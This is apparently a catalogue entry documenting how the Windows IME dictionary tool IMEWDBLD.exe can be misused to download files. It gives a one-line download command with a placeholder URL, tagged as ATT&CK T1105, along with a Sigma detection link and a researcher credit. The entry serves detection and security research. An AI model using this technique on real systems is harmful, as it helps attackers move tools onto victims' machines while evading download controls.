IMEWDBLD.exe

type: OSBinaries

Microsoft IME Open Extended Dictionary Module

Full path

C:\Windows\System32\IME\SHARED\IMEWDBLD.exe

Commands

DownloadUser T1105
Download file from Internet
```
C:\Windows\System32\IME\SHARED\IMEWDBLD.exe {REMOTEURL}
```
IMEWDBLD.exe attempts to load a dictionary file, if provided a URL as an argument, it will download the file served at by that URL and save it to INetCache.
os: Windows 10, Windows 11
Download: INetCache

Detection

Sigma https://github.com/SigmaHQ/sigma/blob/bea6f18d350d9c9fdc067f93dde0e9b11cc22dc2/rules/windows/network_connection/net_connection_win_imewdbld.yml

Resources

https://twitter.com/notwhickey/status/1367493406835040265

acknowledgement: Wade Hickey @notwhickey